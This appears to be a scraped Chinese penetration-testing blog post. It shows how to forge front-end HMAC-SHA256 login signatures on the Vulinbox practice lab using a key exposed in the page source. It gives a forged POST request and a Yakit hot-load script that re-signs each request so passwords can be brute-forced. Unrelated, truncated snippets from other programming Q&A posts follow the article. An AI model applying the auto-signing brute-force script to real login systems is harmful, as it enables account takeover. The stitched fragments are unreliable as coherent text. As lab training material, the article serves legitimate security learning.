- VisualStudio2022插件的安装及使用-编程手把手系列文章
- pprof-在现网场景怎么用
- C#实现的下拉多选框,下拉多选树,多级节点
- 【学习笔记】基础数据结构:猫树
本文是高级前端加解密与验签实战的第1篇文章,本系列文章实验靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过SHA256签名来爆破登录.
通过查看源代码可以看到key为 。
1234123412341234
通过查看源代码可以看到是通过SHA256来进行签名的,他把请求体的username和password字段提取,然后进行加密.
username=admin&password=admin123
使用Cyberchief加密,最终得到加密值为:fc4b936199576dd7671db23b71100b739026ca9dcb3ae78660c4ba3445d0654d 。
可以看到自己计算和前端计算的一致:
修改密码,重新构造签名:
username=admin&password=666666
=>
26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee
发送请求,可以看到验签成功,密码正确登陆成功,自此签名绕过成功.
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
{
"signature": "26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee",
"key": "31323334313233343132333431323334",
"username": "admin",
"password": "666666"
}
这是我写的热加载代码,通过beforeRequest劫持请求包,使用encryptData函数进行加密,最终实现热加载自动签名功能.
encryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet)
params = json.loads(body)
//获取账号和密码
name = params.username
pass = params.password
key = "31323334313233343132333431323334" //十六进制密钥
//HmacSha256加密
signText = f`username=${name}&password=${pass}`
sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText))
//构造请求体
result = f`{"username":"${name}","password":"${pass}","signature":"${sign}","key":"${key}"}`
return string(poc.ReplaceBody(packet, result, false))
}
//发送到服务端修改数据包
// beforeRequest = func(req){
// return encryptData(req)
// }
//调试用
packet = <<<TEXT
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179
{"username":"admin","password":"admin123"}
TEXT
result = (encryptData(packet))
print(result)
调试结果如下:
把beforeRequest取消注释,添加到Web Fuzzer模块的热加载中:
保存后发送请求,热加载成功实现自动签名功能.
最后此篇关于渗透测试-前端验签绕过之SHA256的文章就讲到这里了,如果你想了解更多关于渗透测试-前端验签绕过之SHA256的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我是新来的,所以我会尽量使我的帖子清晰易读。 在浏览某些站点的日志时,我遇到了一些我想在封闭服务器中重新创建/测试的黑客攻击尝试。我制作了一个简单的 PHP 网页,它获取一个名为“id”的变量,并且没
我有一个 NSView,它覆盖了其父窗口的内容 View 。该 View 有一个单击事件处理程序,可将其从内容 View 中删除。在这个观点之中,我还有另外一个观点。当我在此内部 View 中拖动鼠标
我正在读取 csv 中的链接并使用它来抓取。我希望 Node 渗透在抓取之间等待,可能是在抓取 10 个站点之后。我尝试使用 sleep ,但它似乎在错误的时间 sleep ,而下一个站点正在被抓取,
页面部分HTML代码 3 303 eur if (price_json.price != '0') { var price_container = docume
我按如下方式为我的查询编制索引: client.Index(new PercolatedQuery { Id = "std_query", Query = new QueryConta
我有一个使用多个 的表单.它们的位置使得弹出式 CSS 日历应该出现在其他人的字段上。但是,其他日期的文本字段最终位于日历的前面。 这只是一个 IE 问题,因为 Firefox 和 Safari 工
我正在编写一个与外部站点连接的 Electron 应用程序。我发现,cheerio 无法抓取需要登录的网站。所以我现在使用渗透,但它显示以下错误。 (get) 已加载 [get] https://so
我想实现一个Osmosis的任务,我想读取.osm.pbf文件并将其写入数据库: C:\osmosis-latest\bin>osmosis --read-pbf file="C:\sbox\maps
我是一名优秀的程序员,十分优秀!